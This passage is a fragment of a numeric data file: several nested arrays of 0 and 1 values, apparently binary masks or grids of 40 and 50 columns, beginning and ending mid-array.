,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0],[0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1],[0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1],[1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1],[0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1],[0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1],[0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1]], [[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0